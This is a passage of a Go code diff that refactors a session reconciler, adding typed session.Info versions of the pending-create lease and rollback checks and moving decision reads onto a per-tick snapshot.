+// pendingCreateSessionStillLeased. Equivalence-proven. The template resolution
+// mirrors the raw form: normalizedSessionTemplateInfo with an Info.Template
+// fallback (Info.Template is the raw metadata["template"] mirror), and
+// findAgentByTemplate keys off the same resolved template. The claim branch and
+// the sessionStartRequestedInfo fallback both compose already-proven siblings.
+func pendingCreateSessionStillLeasedInfo(i sessionpkg.Info, cfg *config.City, clk clock.Clock) bool {
+	var startupTimeout time.Duration
+	if cfg != nil {
+		startupTimeout = cfg.Session.StartupTimeoutDuration()
+	}
+	if i.PendingCreateClaim {
+		if !pendingCreateLeaseActiveInfo(i, clk, startupTimeout) {
+			return false
+		}
+		template := normalizedSessionTemplateInfo(i, cfg)
+		if template == "" {
+			template = i.Template
+		}
+		agent := findAgentByTemplate(cfg, template)
+		if agent != nil {
+			return !agent.Suspended
+		}
+		return true
+	}
+	if !sessionStartRequestedInfo(i, clk) {
+		return false
+	}
+	template := normalizedSessionTemplateInfo(i, cfg)
+	if template == "" {
+		template = i.Template
+	}
+	agent := findAgentByTemplate(cfg, template)
+	if agent != nil {
+		return !agent.Suspended
+	}
+	return false
+}
+
 func pendingCreateStartInFlight(session beads.Bead, clk clock.Clock, startupTimeout time.Duration) bool {
 	if strings.TrimSpace(session.Metadata["pending_create_claim"]) != "true" &&
 		sessionpkg.State(strings.TrimSpace(session.Metadata["state"])) != sessionpkg.StateCreating {
@@ -638,6 +791,31 @@ func pendingCreateStartInFlight(session beads.Bead, clk clock.Clock, startupTime
 	return now.Before(started.Add(startupTimeout + staleKeyDetectDelay + 5*time.Second))
 }
 
+// pendingCreateStartInFlightInfo is the session.Info sibling of
+// pendingCreateStartInFlight. Equivalence-proven.
+func pendingCreateStartInFlightInfo(i sessionpkg.Info, clk clock.Clock, startupTimeout time.Duration) bool {
+	if !i.PendingCreateClaim &&
+		sessionpkg.State(strings.TrimSpace(i.MetadataState)) != sessionpkg.StateCreating {
+		return false
+	}
+	lastWoke := strings.TrimSpace(i.LastWokeAt)
+	if lastWoke == "" {
+		return false
+	}
+	started, err := time.Parse(time.RFC3339, lastWoke)
+	if err != nil {
+		return false
+	}
+	if startupTimeout <= 0 {
+		startupTimeout = time.Minute
+	}
+	now := time.Now()
+	if clk != nil {
+		now = clk.Now()
+	}
+	return now.Before(started.Add(startupTimeout + staleKeyDetectDelay + 5*time.Second))
+}
+
 func pendingCreateLeaseActive(session beads.Bead, clk clock.Clock, startupTimeout time.Duration) bool {
 	if strings.TrimSpace(session.Metadata["pending_create_claim"]) != "true" {
 		return false
@@ -651,6 +829,21 @@ func pendingCreateLeaseActive(session beads.Bead, clk clock.Clock, startupTimeou
 	return !pendingCreateAttemptStale(session, clk)
 }
 
+// pendingCreateLeaseActiveInfo is the session.Info sibling of
+// pendingCreateLeaseActive. Equivalence-proven.
+func pendingCreateLeaseActiveInfo(i sessionpkg.Info, clk clock.Clock, startupTimeout time.Duration) bool {
+	if !i.PendingCreateClaim {
+		return false
+	}
+	if pendingCreateStartInFlightInfo(i, clk, startupTimeout) {
+		return true
+	}
+	if strings.TrimSpace(i.LastWokeAt) == "" {
+		return !pendingCreateNeverStartedLeaseExpiredInfo(i, clk)
+	}
+	return !pendingCreateAttemptStaleInfo(i, clk)
+}
+
 // pendingCreateNeverStartedTimeout is the rollback floor for pending creates
 // with no last_woke_at start lease. Production-created pending beads record
 // pending_create_started_at when they enter state=creating; use that timestamp
@@ -672,6 +865,20 @@ func pendingCreateNeverStartedExpired(session beads.Bead, clk clock.Clock) bool
 	return pendingCreateNeverStartedLeaseExpired(session, clk)
 }
 
+// pendingCreateNeverStartedExpiredInfo is the session.Info sibling of
+// pendingCreateNeverStartedExpired. Info.MetadataState is the RAW state metadata
+// (verbatim, untrimmed), matching the raw session.Metadata["state"] handed to
+// pendingCreateRollbackState (which trims internally). Equivalence-proven.
+func pendingCreateNeverStartedExpiredInfo(i sessionpkg.Info, clk clock.Clock) bool {
+	if !i.PendingCreateClaim {
+		return false
+	}
+	if !pendingCreateRollbackState(i.MetadataState) {
+		return false
+	}
+	return pendingCreateNeverStartedLeaseExpiredInfo(i, clk)
+}
+
 func pendingCreateNeverStartedLeaseExpired(session beads.Bead, clk clock.Clock) bool {
 	if strings.TrimSpace(session.Metadata["pending_create_claim"]) != "true" {
 		return false
@@ -693,6 +900,29 @@ func pendingCreateNeverStartedLeaseExpired(session beads.Bead, clk clock.Clock)
 	return now.After(anchor.Add(pendingCreateNeverStartedTimeout))
 }
 
+// pendingCreateNeverStartedLeaseExpiredInfo is the session.Info sibling of
+// pendingCreateNeverStartedLeaseExpired. Equivalence-proven.
+func pendingCreateNeverStartedLeaseExpiredInfo(i sessionpkg.Info, clk clock.Clock) bool {
+	if !i.PendingCreateClaim {
+		return false
+	}
+	if strings.TrimSpace(i.LastWokeAt) != "" {
+		return false
+	}
+	anchor := i.CreatedAt
+	if started, ok := parseRFC3339Metadata(i.PendingCreateStartedAt); ok {
+		anchor = started
+	}
+	if anchor.IsZero() {
+		return true
+	}
+	now := time.Now()
+	if clk != nil {
+		now = clk.Now()
+	}
+	return now.After(anchor.Add(pendingCreateNeverStartedTimeout))
+}
+
 func pendingCreateLeaseExpiredForRollback(session beads.Bead, clk clock.Clock, startupTimeout time.Duration) bool {
 	if strings.TrimSpace(session.Metadata["pending_create_claim"]) != "true" {
 		return false
@@ -716,6 +946,34 @@ func pendingCreateLeaseExpiredForRollback(session beads.Bead, clk clock.Clock, s
 	return pendingCreateAttemptStale(session, clk)
 }
 
+// pendingCreateLeaseExpiredForRollbackInfo is the session.Info sibling of
+// pendingCreateLeaseExpiredForRollback. Each sub-leaf it composes
+// (pendingCreateStartInFlightInfo, pendingCreateNeverStartedExpiredInfo,
+// pendingCreateAttemptStaleInfo) is already equivalence-proven; the state read
+// uses the RAW Info.MetadataState to match the untrimmed-then-trimmed original.
+func pendingCreateLeaseExpiredForRollbackInfo(i sessionpkg.Info, clk clock.Clock, startupTimeout time.Duration) bool {
+	if !i.PendingCreateClaim {
+		return false
+	}
+	state := sessionpkg.State(strings.TrimSpace(i.MetadataState))
+	if !pendingCreateRollbackState(string(state)) {
+		return false
+	}
+	if state == sessionpkg.StateAsleep {
+		if strings.TrimSpace(i.LastWokeAt) == "" {
+			return pendingCreateNeverStartedExpiredInfo(i, clk)
+		}
+		return pendingCreateAttemptStaleInfo(i, clk)
+	}
+	if pendingCreateStartInFlightInfo(i, clk, startupTimeout) {
+		return false
+	}
+	if strings.TrimSpace(i.LastWokeAt) == "" {
+		return pendingCreateNeverStartedExpiredInfo(i, clk)
+	}
+	return pendingCreateAttemptStaleInfo(i, clk)
+}
+
 func pendingCreateQueuedOrCreatingState(state string) bool {
 	switch sessionpkg.State(strings.TrimSpace(state)) {
 	case sessionpkg.StateStartPending, sessionpkg.StateCreating:
@@ -756,6 +1014,37 @@ func pendingResumePreservingNamedRestart(session beads.Bead, clk clock.Clock, st
 	return true
 }
 
+// pendingResumePreservingNamedRestartInfo is the session.Info-typed sibling of
+// pendingResumePreservingNamedRestart. It routes the asleep-named-session
+// drift-repair skip decision through the typed projection: the start-pending/
+// creating state gate, the pending-create claim, session_key, started_config_hash
+// (the Info.StartedConfigHash mirror), and pending_create_started_at all read from
+// Info, with the lease-active tail delegated to pendingCreateLeaseActiveInfo.
+// Kept byte-identical to the raw form by TestSessionClassifierInfoEquivalence.
+func pendingResumePreservingNamedRestartInfo(i sessionpkg.Info, clk clock.Clock, startupTimeout time.Duration) bool {
+	switch sessionpkg.State(strings.TrimSpace(i.MetadataState)) {
+	case sessionpkg.StateStartPending, sessionpkg.StateCreating:
+	default:
+		return false
+	}
+	if !i.PendingCreateClaim {
+		return false
+	}
+	if strings.TrimSpace(i.SessionKey) == "" {
+		return false
+	}
+	if strings.TrimSpace(i.StartedConfigHash) == "" {
+		return false
+	}
+	if _, ok := parseRFC3339Metadata(i.PendingCreateStartedAt); !ok {
+		return false
+	}
+	if !pendingCreateLeaseActiveInfo(i, clk, startupTimeout) {
+		return false
+	}
+	return true
+}
+
 func wakeDemandOverridesSleepSuppression(
 	decision AwakeDecision,
 	eval wakeEvaluation,
@@ -984,7 +1273,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 	// drain-ack stop-pending). The raw store stays for the work/by-id/worker
 	// residual. Same underlying store, so every session bead write is
 	// byte-identical.
-	sessFront := sessionpkg.NewInfoStore(sessStore)
+	sessFront := sessionpkg.NewStore(sessStore)
 	// Every tick counts as a cycle, including ticks aborted by context
 	// cancellation after real work (e.g. starts) already executed — the
 	// counter means "cycles", not "cycles that ran to completion". started
@@ -1018,7 +1307,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 	}
 	effectiveStartOptions := startOptions
 	if !storeQueryPartial && reconcileOpts.workDirResolver == nil && len(assignedWorkBeads) > 0 {
-		effectiveStartOptions = append(append([]startExecutionOption(nil), startOptions...), withTaskWorkDirResolver(newAssignedTaskWorkDirResolver(assignedWorkBeads)))
+		effectiveStartOptions = append(append([]startExecutionOption(nil), startOptions...), withTaskWorkDirResolver(newAssignedTaskWorkDirResolver(cityPath, assignedWorkBeads)))
 	}
 	if startupTimeout <= 0 && cfg != nil {
 		startupTimeout = cfg.Session.StartupTimeoutDuration()
@@ -1075,7 +1364,7 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 	cbNow := clk.Now().UTC()
 	cbCfg, cbEnabled := sessionCircuitBreakerConfigFromCity(cfg)
 	var cb *sessionCircuitBreaker
-	var circuitSessionByIdentity map[string]*beads.Bead
+	var circuitIDByIdentity map[string]string
 	if cbEnabled {
 		// Phase 0.5: Feed the respawn circuit breaker persisted state and the
 		// current progress signature for every named-session identity. A change
@@ -1084,14 +1373,20 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		// restarts accumulate. See session_circuit_breaker.go.
 		cb = defaultSessionCircuitBreaker()
 		cb.configure(cbCfg)
-		circuitSessionByIdentity = make(map[string]*beads.Bead, len(ordered))
+		circuitIDByIdentity = make(map[string]string, len(ordered))
 		for i := range ordered {
 			identity := namedSessionIdentity(ordered[i])
 			if identity == "" {
 				continue
 			}
-			circuitSessionByIdentity[identity] = &ordered[i]
-			if err := cb.observeResetGenerationFromMetadata(identity, ordered[i].Metadata); err != nil {
+			circuitIDByIdentity[identity] = ordered[i].ID
+			// Read the persisted breaker cluster through the typed CircuitState
+			// front door instead of cracking ordered[i].Metadata inline. This runs
+			// in Phase 0.5, before the reconciler's coherent infoByID snapshot
+			// exists (and CircuitState is a distinct concern from Info anyway), so
+			// it projects per bead — the same shape computeNamedSessionProgressSignatures
+			// uses. The projection is pure, so it is byte-identical to the raw reads.
+			if err := cb.observeResetGenerationFromMetadata(identity, sessionpkg.CircuitStateFromMetadata(ordered[i].Metadata)); err != nil {
 				fmt.Fprintf(stderr, "session reconciler: loading session circuit breaker reset generation for %s: %v\n", identity, err) //nolint:errcheck // best-effort stderr
 			}
 		}
@@ -1100,18 +1395,18 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			if identity == "" {
 				continue
 			}
-			if reset, err := cb.restoreFromMetadata(identity, ordered[i].Metadata, cbNow); err != nil {
+			if reset, err := cb.restoreFromMetadata(identity, sessionpkg.CircuitStateFromMetadata(ordered[i].Metadata), cbNow); err != nil {
 				fmt.Fprintf(stderr, "session reconciler: loading session circuit breaker state for %s: %v\n", identity, err) //nolint:errcheck // best-effort stderr
 			} else if reset {
-				if err := persistSessionCircuitBreakerMetadata(sessFront, &ordered[i], cb, identity, cbNow); err != nil {
+				if err := persistSessionCircuitBreakerMetadata(sessFront, ordered[i].ID, cb, identity, cbNow); err != nil {
 					fmt.Fprintf(stderr, "session reconciler: %v\n", err) //nolint:errcheck // best-effort stderr
 				}
 			}
 		}
 		for identity, sig := range computeNamedSessionProgressSignatures(ordered, assignedWorkBeads) {
 			if cb.ObserveProgressSignature(identity, sig, cbNow) {
-				if session := circuitSessionByIdentity[identity]; session != nil {
-					if err := persistSessionCircuitBreakerMetadata(sessFront, session, cb, identity, cbNow); err != nil {
+				if id := circuitIDByIdentity[identity]; id != "" {
+					if err := persistSessionCircuitBreakerMetadata(sessFront, id, cb, identity, cbNow); err != nil {
 						fmt.Fprintf(stderr, "session reconciler: %v\n", err) //nolint:errcheck // best-effort stderr
 					}
 				}
@@ -1124,15 +1419,30 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 		"session_count": len(ordered),
 	})
 
-	// Build session ID -> *beads.Bead lookup for advanceSessionDrains.
-	// These pointers intentionally alias into the ordered slice so that
-	// mutations in Phase 1 (healState, clearWakeFailures, etc.) are
-	// visible to Phase 2's advanceSessionDrains via this map.
-	beadByID := make(map[string]*beads.Bead, len(ordered))
+	// Coherent typed snapshot of the tick's working set, loaded once (front-door
+	// migration Phase 5, Step 2). Reconciler decision reads route through this
+	// instead of a per-iteration InfoFromPersistedBead(*session) re-derive: it is
+	// the typed replacement for the raw session.Metadata[k]=v lockstep, which is
+	// kept in lockstep with it until every dependent read has moved onto the
+	// snapshot (Step 6). Built here from `ordered` (post-Phase-0.5), so each entry
+	// is byte-identical to a fresh projection of that session's bead at loop entry
+	// — Phase 1 mutates only the current iteration's session, so no entry goes
+	// stale before it is visited. Entries are refreshed from the store (via Get)
+	// after a mutation as the post-mutation reads migrate onto them (Step 3+).
+	infoByID := make(map[string]sessionpkg.Info, len(ordered))
+	// orderedIDs carries the tick's topo order as plain session IDs (Step 5e). The
+	// order-sensitive decision-domain rebuilds (the awake-scan `sessionInfos` feed
+	// and the preserve-template feed) walk it instead of the raw `ordered` beads,
+	// so those rebuilds no longer reach into `ordered[i]` — `ordered` is demoted to
+	// the load-time slice that builds this snapshot and carries raw beads into the
+	// documented raw-by-design / start-execution consumers. Order is load-bearing:
+	// ComputeAwakeSet resolves the non-unique SessionName last-write-wins, so these
+	// rebuilds must stay in topo order and never `range infoByID`.
+	orderedIDs := make([]string, len(ordered))
 	for i := range ordered {
-		beadByID[ordered[i].ID] = &ordered[i]
+		orderedIDs[i] = ordered[i].ID
+		infoByID[ordered[i].ID] = sessionpkg.InfoFromPersistedBead(ordered[i])
 	}
-
 	// Phase 1: Forward pass (topo order) — wake sessions, handle alive state.
 	var startCandidates []startCandidate
 	var wakeTargets []wakeTarget
@@ -1145,27 +1455,32 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 	// remaining stale beads roll back on subsequent ticks.
 	const maxRollbacksPerTick = 5
 	rollbacksThisTick := 0
-	attemptRollbackPendingCreate := func(session *beads.Bead, templateName, name, action, detail string, clearClaim bool) {
+	// attemptRollbackPendingCreate returns the metadata batch the rollback mirrored
+	// onto the raw bead (nil when the per-tick budget is exhausted, i.e. nothing was
+	// rolled back), so each forward-pass caller can fold it onto the typed snapshot
+	// (Step 6d write-returns-Info). The batch carries NO Closed change: the close is
+	// store-only, so a raw re-projection of *session still sees it open — the fold
+	// must match that.
+	attemptRollbackPendingCreate := func(session *beads.Bead, templateName, name, action, detail string, clearClaim bool) map[string]string {
 		if rollbacksThisTick >= maxRollbacksPerTick {
 			fmt.Fprintf(stderr, "session reconciler: deferring rollback of %s (%s): rollback budget exhausted this tick\n", name, detail) //nolint:errcheck
 			if trace != nil {
-				trace.recordDecision("reconciler.session.pending_create", templateName, name, action, "rollback_deferred", traceRecordPayload{
+				trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonCode(action), TraceOutcomeRollbackDeferred, templateName, name, traceRecordPayload{
 					"rollbacks_this_tick":    rollbacksThisTick,
 					"max_rollbacks_per_tick": maxRollbacksPerTick,
-				}, nil, "")
+				})
 			}
-			return
+			return nil
 		}
 		rollbacksThisTick++
 		fmt.Fprintf(stderr, "session reconciler: rolling back pending create %s: %s\n", name, detail) //nolint:errcheck
 		if trace != nil {
-			trace.recordDecision("reconciler.session.pending_create", templateName, name, action, "rollback", nil, nil, "")
+			trace.RecordDecision(TraceSiteReconcilerPendingCreate, TraceReasonCode(action), TraceOutcomeRollback, templateName, name, nil)
 		}
 		if clearClaim {
-			rollbackPendingCreateClearingClaim(session, sessFront, clk.Now().UTC(), stderr)
-			return
+			return rollbackPendingCreateClearingClaim(session, sessFront, clk.Now().UTC(), stderr)
 		}
-		rollbackPendingCreate(session, sessFront, clk.Now().UTC(), stderr)
+		return rollbackPendingCreate(session, sessFront, clk.Now().UTC(), stderr)
 	}
 	// O(1) tmux ls snapshot instead of O(n) per-session has-session probes.
 	// With 80+ phantoms the per-session path saturates the 50 ms probe budget
@@ -1190,9 +1505,22 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			return 0
 		}
 		session := &ordered[i]
-		name := strings.TrimSpace(session.Metadata["session_name"])
+		// Typed projection for this iteration's mutation-free preamble decision
+		// reads (session_name, reset-pending, known-state, and the unknown-state
+		// trace), read from the coherent snapshot loaded above rather than a fresh
+		// per-iteration re-derive. The snapshot entry equals InfoFromPersistedBead
+		// (*session) at this point: it was built from `ordered` at loop entry and
+		// Phase 1 mutates only the current session, so no earlier iteration could
+		// have staled it. reconcileDrainAckStopPending below only mutates on its
+		// true/continue paths, so when control falls through to the known-state
+		// check the session is still unmutated and this projection stays
+		// byte-identical. Reads after the first mutation (heal/rollback/close)
+		// stay raw / re-derived for now — later clusters refresh the snapshot
+		// entry after each mutation (Step 3+).
+		info := infoByID[session.ID]
+		name := strings.TrimSpace(info.SessionNameMetadata)
 		tp, desired := desiredState[name]
-		if _, _, pending := resetPendingCommittedAt(*session); !pending && dt != nil {
+		if _, _, pending := resetPendingCommittedAtInfo(info); !pending && dt != nil {
 			dt.clearResetStall(session.ID)
 		}
 		// #3630: the session is in the desired set this tick, so its spec is
@@ -1202,20 +1530,31 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			dt.clearSuspendDeferral(session.ID)
 		}
 
-		if reconcileDrainAckStopPending(cityPath, cfg, sp, store, rigStores, session, tp, desired, dops, dt, asyncStopTracker, clk, rec, stderr) {
+		if handled, result := reconcileDrainAckStopPending(cityPath, cfg, sp, store, rigStores, session, info, tp, desired, dops, dt, asyncStopTracker, clk, rec, stderr); handled {
+			// finalizeDrainAckStoppedSession (inside reconcileDrainAckStopPending)
+			// may close the bead in memory (Status=closed) on this true/continue
+			// path; fold that close onto the snapshot so the cross-session min-floor
+			// scan (openPoolSessionCountForTemplate, !Info.Closed) excludes a pool
+			// session closed this tick. write-returns-Info (Step 6d) replaces the raw
+			// refreshSessionInfo re-projection; the async-stop branch returns a zero
+			// result so applyTo is a no-op there, matching the old refresh of the
+			// unmutated bead. infoByID[session.ID] is coherent here (top-of-loop
+			// snapshot, no *session mutation before the finalize call). Guarded by
+			// TestReconcileSessionBeads_MinFloorCountReflectsMidTickCloseDrainAck.
+			infoByID[session.ID] = result.applyTo(infoByID[session.ID])
 			continue
 		}
 
 		// Skip beads with unrecognized states. This enables forward-compatible
 		// rollback: if a newer version writes "draining" or "archived", the
 		// older reconciler ignores those beads rather than crashing.
-		if !isKnownState(*session) {
+		if !isKnownStateInfo(info) {
 			fmt.Fprintf(stderr, "session reconciler: skipping %s with unknown state %q\n", //nolint:errcheck // best-effort stderr
-				session.Metadata["session_name"], session.Metadata["state"])
+				info.SessionNameMetadata, info.MetadataState)
 			if trace != nil {
-				trace.recordDecision("reconciler.session.unknown_state", session.Metadata["template"], session.Metadata["session_name"], "unknown_state_skipped", "skipped", traceRecordPayload{
-					"state": session.Metadata["state"],
-				}, nil, "")
+				trace.RecordDecision(TraceSiteReconcilerUnknownState, TraceReasonUnknownStateSkipped, TraceOutcomeSkipped, info.Template, info.SessionNameMetadata, traceRecordPayload{
+					"state": info.MetadataState,
+				})
 			}
 			continue
 		}
@@ -1239,27 +1578,54 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// Run this before configured named-session preservation. A stale
 			// state=creating bead with an expired pending-create lease would
 			// otherwise stay open and keep holding its alias forever.
-			if !storeQueryPartial && !providerAlive && shouldRollbackPendingCreate(session) {
+			//
+			// The pure decision reads in this block route through the top-of-loop
+			// `info`: this is the pre-heal region, and the only mutations reachable
+			// here (checkRateLimitStability on its hit/err path, and
+			// attemptRollbackPendingCreate) each `continue`, so control only falls
+			// through to the next read on the unmutated bead — `info` stays
+			// byte-identical. workerSessionTargetRunningWithConfig above reads by ID,
+			// not the bead pointer, so it does not mutate either. The two mutations
+			// keep the raw *session pointer they write through.
+			if !storeQueryPartial && !providerAlive && shouldRollbackPendingCreateInfo(info) {
 				var startupTimeout time.Duration
 				if cfg != nil {
 					startupTimeout = cfg.Session.StartupTimeoutDuration()
 				}
-				if pendingCreateLeaseExpiredForRollback(*session, clk, startupTimeout) {
-					template := normalizedSessionTemplate(*session, cfg)
+				if pendingCreateLeaseExpiredForRollbackInfo(info, clk, startupTimeout) {
+					template := normalizedSessionTemplateInfo(info, cfg)
 					if template == "" {
-						template = session.Metadata["template"]
+						template = info.Template
 					}
 					peek := cachedSessionPeek(cityPath, store, sp, cfg, session.ID, nil)
-					rateLimitHit, rateLimitErr := checkRateLimitStability(session, cfg, providerAlive, dt, sessFront, clk, peek)
+					rateLimitHit, rlBatch, rateLimitErr := checkRateLimitStability(session, cfg, providerAlive, dt, sessFront, clk, peek)
 					if rateLimitHit || rateLimitErr != nil {
+						// Fold the rate-limit batch onto the snapshot (Step 6d write-returns-Info).
+						// Pre-pass-masked (STEP6-PREPASS-AUDIT group 1).
+						infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rlBatch)
 						continue
 					}
-					clearClaim := configuredNamedSessionBeadHasSpec(*session, cfg, cityName)
-					attemptRollbackPendingCreate(session, template, name, "pending_create_lease_expired", "lease expired and no live runtime", clearClaim)
+					clearClaim := configuredNamedSessionBeadHasSpecInfo(info, cfg, cityName)
+					// Fold the rollback's mirrored metadata onto the snapshot (Step 6d
+					// write-returns-Info; no Closed change — store-only close).
+					// Pre-pass-masked (STEP6-PREPASS-AUDIT group 2).
+					infoByID[session.ID] = infoByID[session.ID].ApplyPatch(attemptRollbackPendingCreate(session, template, name, "pending_create_lease_expired", "lease expired and no live runtime", clearClaim))
 					continue
 				}
 			}
-			preserveNamed := preserveConfiguredNamedSessionBead(*session, cfg, cityName)
+			// Still pre-heal: the preserve-named + failed-create-close decision
+			// reads below reuse the top-of-loop `info` with no re-derive. This read
+			// runs on an unmutated bead (the rollback block above only mutates on
+			// its `continue` paths). The one mutation reachable further down —
+			// checkRateLimitStability (~1433) — writes only state/sleep/health/
+			// quarantine keys, never template/agent_name/alias, so the template
+			// trace read on its hit/err path stays byte-identical against `info`;
+			// and the failed-create-close reads are reached only when it took its
+			// non-mutating (false,nil) return (any mutation sets hit/err → continue).
+			// The two trace-payload reads (pending_create_claim, state) read the typed
+			// snapshot: Info.PendingCreateClaimMetadata (the verbatim raw-string mirror,
+			// Step 6a) and Info.MetadataState (Step 5a).
+			preserveNamed := preserveConfiguredNamedSessionBeadInfo(info, cfg, cityName)
 			// #3630: the configured spec is present this tick — reset any
 			// suspend-drain confirmation window so a later genuine removal still
 			// gets the full confirmation buffer.
@@ -1271,56 +1637,82 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				preserveErr  error
 				rateLimitHit bool
 				rateLimitErr error
+				rlBatchNamed map[string]string
 			)
 			if preserveNamed {
-				preservedTP, preserveErr = resolvePreservedConfiguredNamedSessionTemplate(cityPath, cityName, cfg, sp, store, ordered, *session, clk, stderr)
+				// Feed the preserve template resolver from the live mid-tick
+				// infoByID snapshot in topo (orderedIDs) order (front-door
+				// Step 4/5e), not the raw `ordered` working set. Byte-identical
+				// today (every pre-call close still writes raw Status in lockstep,
+				// so membership matches) and forward-correct once that lockstep
+				// drops. The only reachable snapshot read is OpenInfos().
+				preservedInfos := make([]sessionpkg.Info, len(orderedIDs))
+				for k := range orderedIDs {
+					preservedInfos[k] = infoByID[orderedIDs[k]]
+				}
+				preservedTP, preserveErr = resolvePreservedConfiguredNamedSessionTemplate(cityPath, cityName, cfg, sp, store, preservedInfos, info, clk, stderr)
 				if preserveErr == nil {
 					obs, obsErr := workerObserveSessionTargetWithRuntimeHintsWithConfig(cityPath, store, sp, cfg, session.ID, preservedTP.Hints.ProcessNames)
 					rateLimitAlive := rateLimitAliveFromObservation(obs.Alive, obsErr)
 					peek := cachedSessionPeek(cityPath, store, sp, cfg, session.ID, preservedTP.Hints.ProcessNames)
-					rateLimitHit, rateLimitErr = checkRateLimitStability(session, cfg, rateLimitAlive, dt, sessFront, clk, peek)
+					rateLimitHit, rlBatchNamed, rateLimitErr = checkRateLimitStability(session, cfg, rateLimitAlive, dt, sessFront, clk, peek)
 				}
 			}
 			if rateLimitHit || rateLimitErr != nil {
 				if trace != nil {
-					template := normalizedSessionTemplate(*session, cfg)
+					template := normalizedSessionTemplateInfo(info, cfg)
 					if template == "" {
-						template = session.Metadata["template"]
+						template = info.Template
 					}
 					result := "held"
 					if rateLimitErr != nil {
 						result = "hold_deferred"
 					}
-					trace.recordDecision("reconciler.session.preserve_configured_named", template, name, "rate_limit", result, traceRecordPayload{
+					trace.RecordDecision(TraceSiteReconcilerPreserveConfiguredNamed, TraceReasonRateLimit, TraceOutcomeCode(result), template, name, traceRecordPayload{
 						"provider_alive": providerAlive,
-					}, nil, "")
+					})
 				}
+				// Fold the rate-limit batch onto the snapshot (Step 6d write-returns-Info).
+				// Pre-pass-masked (STEP6-PREPASS-AUDIT group 1).
+				infoByID[session.ID] = infoByID[session.ID].ApplyPatch(rlBatchNamed)
 				continue
 			}
-			if isFailedCreateSessionBead(*session) {
-				template := normalizedSessionTemplate(*session, cfg)
+			if isFailedCreateSessionInfo(info) {
+				template := normalizedSessionTemplateInfo(info, cfg)
 				if template == "" {
-					template = session.Metadata["template"]
+					template = info.Template
 				}
-				if pendingCreateSessionStillLeased(*session, cfg, clk) {
+				if pendingCreateSessionStillLeasedInfo(info, cfg, clk) {
 					if trace != nil {
-						trace.recordDecision("reconciler.session.pending_create_preserved", template, name, "pending_create", "kept_open", traceRecordPayload{
-							"pending_create_claim": strings.TrimSpace(session.Metadata["pending_create_claim"]),
+						trace.RecordDecision(TraceSiteReconcilerPendingCreatePreserved, TraceReasonPendingCreate, TraceOutcomeKeptOpen, template, name, traceRecordPayload{
+							"pending_create_claim": strings.TrimSpace(infoByID[session.ID].PendingCreateClaimMetadata),
 							"provider_alive":       providerAlive,
-							"state":                session.Metadata["state"],
-						}, nil, "")
+							"state":                infoByID[session.ID].MetadataState,
+						})
 					}
 					continue
 				}
 				if !providerAlive {
 					if trace != nil {
-						trace.recordDecision("reconciler.session.close_failed_create", template, name, string(sessionpkg.StateFailedCreate), "closed", nil, nil, "")
+						trace.RecordDecision(TraceSiteReconcilerCloseFailedCreate, TraceReasonCode(sessionpkg.StateFailedCreate), TraceOutcomeClosed, template, name, nil)
 					}
 					if storeQueryPartial || reconcileOpts.deferSessionClosesOnBoot {
 						continue
 					}
 					if closeSessionBeadIfReachableStoreUnassigned(cityPath, cfg, store, rigStores, *session, string(sessionpkg.StateFailedCreate), clk.Now().UTC(), stderr) {
 						session.Status = "closed"
+						// Reflect the in-memory close on the snapshot: the cross-session
+						// min-floor scan (below) reads Info.Closed off infoByID, so a
+						// session closed this tick must not still count as open in its
+						// pool. This is a store-only close — closeFailedCreateBead stamps
+						// its ClosePatch on the store, not the raw bead — so the only
+						// raw-bead change is Status="closed", and the snapshot refresh is
+						// byte-identical to MarkClosed (Closed=true, State="") rather than
+						// a raw re-projection. This is the write-returns-Info status-close
+						// half of the Step-6d front-door cutover; the raw session.Status
+						// lockstep above stays until the final lockstep drop. Guarded by
+						// TestReconcileSessionBeads_MinFloorCountReflectsMidTickClose.
+						infoByID[session.ID] = infoByID[session.ID].MarkClosed()
 					}
 					continue
 				}
@@ -1330,9 +1722,9 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 			// storeQueryPartial=true the formal rollback is deferred, so the
 			// heal path must also preserve pending_create_claim to avoid a
 			// half-applied rollback that races the next complete tick.
-			stateBeforeHeal := strings.TrimSpace(session.Metadata["state"])
-			pendingCreateStartedAtBeforeHeal := strings.TrimSpace(session.Metadata["pending_create_started_at"])
-			lastWokeAtBeforeHeal := strings.TrimSpace(session.Metadata["last_woke_at"])
+			stateBeforeHeal := strings.TrimSpace(infoByID[session.ID].MetadataState)
+			pendingCreateStartedAtBeforeHeal := strings.TrimSpace(infoByID[session.ID].PendingCreateStartedAt)
+			lastWokeAtBeforeHeal := strings.TrimSpace(infoByID[session.ID].LastWokeAt)
 			healBatch := healStateWithRollback(session, providerAlive, sessFront, clk, startupTimeout, !storeQueryPartial)
 			traceHealClearedPendingCreateLease(
 				trace,
@@ -1346,11 +1738,37 @@ func reconcileSessionBeadsTracedWithNamedDemand(
 				providerAlive,
 				healBatch,
 			)
+			// Post-heal refresh: healStateWithRollback (above) persists through
+			// sessFront and mirrors healBatch onto session.Metadata in lockstep, so
+			// the top-of-loop `info` (from the snapshot at loop entry) is now stale
+			// for this switch. Fold that same healBatch onto the snapshot via
+			// write-returns-Info (Step 6d) instead of re-projecting the raw bead:
+			// healStateWithRollback returns exactly the batch it mirrored (even on a
+			// persist error the mirror runs, so the returned batch always matches the
+			// bead), and nil when it healed nothing (ApplyPatch(nil) is a no-op). This
+			// is byte-identical to the raw refresh because infoByID[session.ID] is
+			// coherent here: the top-of-loop snapshot entry, unmutated on the path
+			// that reaches the heal (the pre-heal checkRateLimitStability/rollback/
+			// failed-create-close sites all `continue`). The trace call above takes
+			// the bead by value (cannot mutate), and Go switch cases do not fall
+			// through, so both the preserveNamed body and the
+			// pendingCreateSessionStillLeased guard/body below read the same
+			// post-heal snapshot. This fold is LOAD-BEARING (and newly so in this
+			// commit): the pendingCreateSessionStillLeasedInfo guard below reads the
+			// healed MetadataState off infoPostHeal, and the downstream zombie refresh
